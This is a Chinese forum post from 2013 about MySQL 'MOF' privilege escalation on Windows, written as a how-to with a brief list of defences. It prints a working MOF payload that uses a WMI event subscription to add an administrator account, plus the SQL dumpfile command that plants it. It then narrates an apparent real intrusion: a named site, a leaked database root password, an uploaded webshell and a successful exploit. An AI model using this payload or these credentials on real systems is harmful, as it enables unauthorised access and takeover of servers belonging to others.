找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2548|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
- m7 s0 I' N* L6 }! \+ q. ?7 U+ i3 @" Y) T
网上公开的一些利用代码:( g5 ]/ I/ A/ T

" F$ [. [; ^; x1 `#pragma namespace(“\\\\.\\root\\subscription”)7 ~; `6 ?" G9 Z) B. ^( R

& F2 _" N4 g$ y1 V8 jinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
: x  t. Y* d; J! _8 G- U) w, p; C- j$ P  ^: v4 x1 d  O

2 B: X* I3 l0 Y. y8 d( v7 m3 [# R. j2 R9 `/ P# B5 K
7 Z2 d( c2 ^% W/ \# Y' b
' e- T; m* c# K2 @! u" j( h
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
5 p$ O/ P, M( X从上面代码来看得出解决办法:
$ [! I- S8 e9 A% Q! E5 {; o! c8 I5 p0 p/ ?2 M2 |6 w
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
6 e& ]/ S, q$ R& ~% C: X: i3 P+ K+ ?2 x9 l/ E8 g
2、禁止使用”WScript.Shel”组件
0 r, b+ A* c0 s0 J! H+ E" @4 }; f, ]6 L
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER  f$ b/ G# W  h3 Z$ Q( Y/ G3 Q9 Z# I
  ]; K! G7 F4 h; q+ y% U9 [
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
9 v5 m( n+ _/ {% U( F% ?- M+ P% Z( r% o
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权' a" r* S; Q$ x

, F% ?! o7 _* w. m0 E但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容* W: i  @' C4 C& Y* X

& o4 @- |% G) ~看懂了后就开始练手吧
, N7 N3 ?9 m1 i) u( s
; @/ J& M* T5 s' Z7 ^5 ^4 L9 ihttp://www.webbmw.com/config/config_ucenter.php 一句话 a
6 ]% B& ~9 ]( a$ y# J" v# j4 y8 J9 i
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。/ t" q; \5 }& d

; e* ?  Q9 g& n4 d+ G# {于是直接用菜刀开搞) B  J, y0 ]% I# E8 l
4 d6 R$ i; c: a. G  R5 v: e" h
上马先
& g3 q- v9 X# l1 R# |  F: P# @. B* y7 c  M
既然有了那些账号 之类的 于是我们就执行吧…….. e0 S5 F$ V4 b. B- Y: X+ i, @* D' `

2 j4 {2 _3 Z: O; j4 z小小的说下( a" h2 I! P; r

% Z0 m& W9 ~. i5 i  s6 x" n在这里第1次执行未成功        原因未知* V# l1 x7 C9 S5 ~* u

$ v2 o8 T/ g& ~, G我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
  z' j( K) A$ d) Y2 U/ z5 m8 n3 M" R' b8 ]9 C5 n3 K! f6 N
#pragma namespace(“\\\\.\\root\\subscription”)3 s* ~9 g  q! P: y: Y* a
  R& V  f4 d) a4 t% X
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
: G4 F' S+ W! i2 T! H. d, r1 j' H" ~! d5 s# y# S
我是将文件放到C:\WINDOWS\temp\1.mof
3 B; |; Y" y! Y; w% _  J  G! z) M. D; p- k& H( n
所以我们就改下执行的代码
5 P* l- w4 U* @8 A# a- }( Y) y: j& l% ^' u! X. T, d
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;2 U  y7 d; J! a" y
& W2 n" `+ B+ s% Q, d2 X
7 ?* k  A8 h& w  j$ P
! E% z0 u5 k3 `8 L- I
但是 你会发现账号还是没有躺在那里。。
! K% ]6 [* s8 ~( L6 g" s  W0 k% u+ X: ]9 u# H" l+ K1 O
于是我就感觉蛋疼7 M( Y* j# `* l* s/ J

! a* D/ d9 t- f" [& p6 g/ i就去一个一个去执行 但是执行到第2个 mysql时就成功了………, Q( f5 e7 Q: n2 u1 h
: R" x0 i$ {9 ~* `
7 T( E- x8 e6 o# h8 G* f& N
, e9 ]0 Y! _, j7 ^2 x
但是其他库均不成功…2 y$ ^6 b" v% c! y
9 F; U! j  u; R. F) s  ]
我就很费解呀 到底为什么不成功求大牛解答…
! n; E" x8 U8 q& @1 ~5 y0 b, n% Y. g: a- G5 v
​
8 Z: ^3 W6 x* f9 ~1 n& n4 m2 z4 m( P8 R+ Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表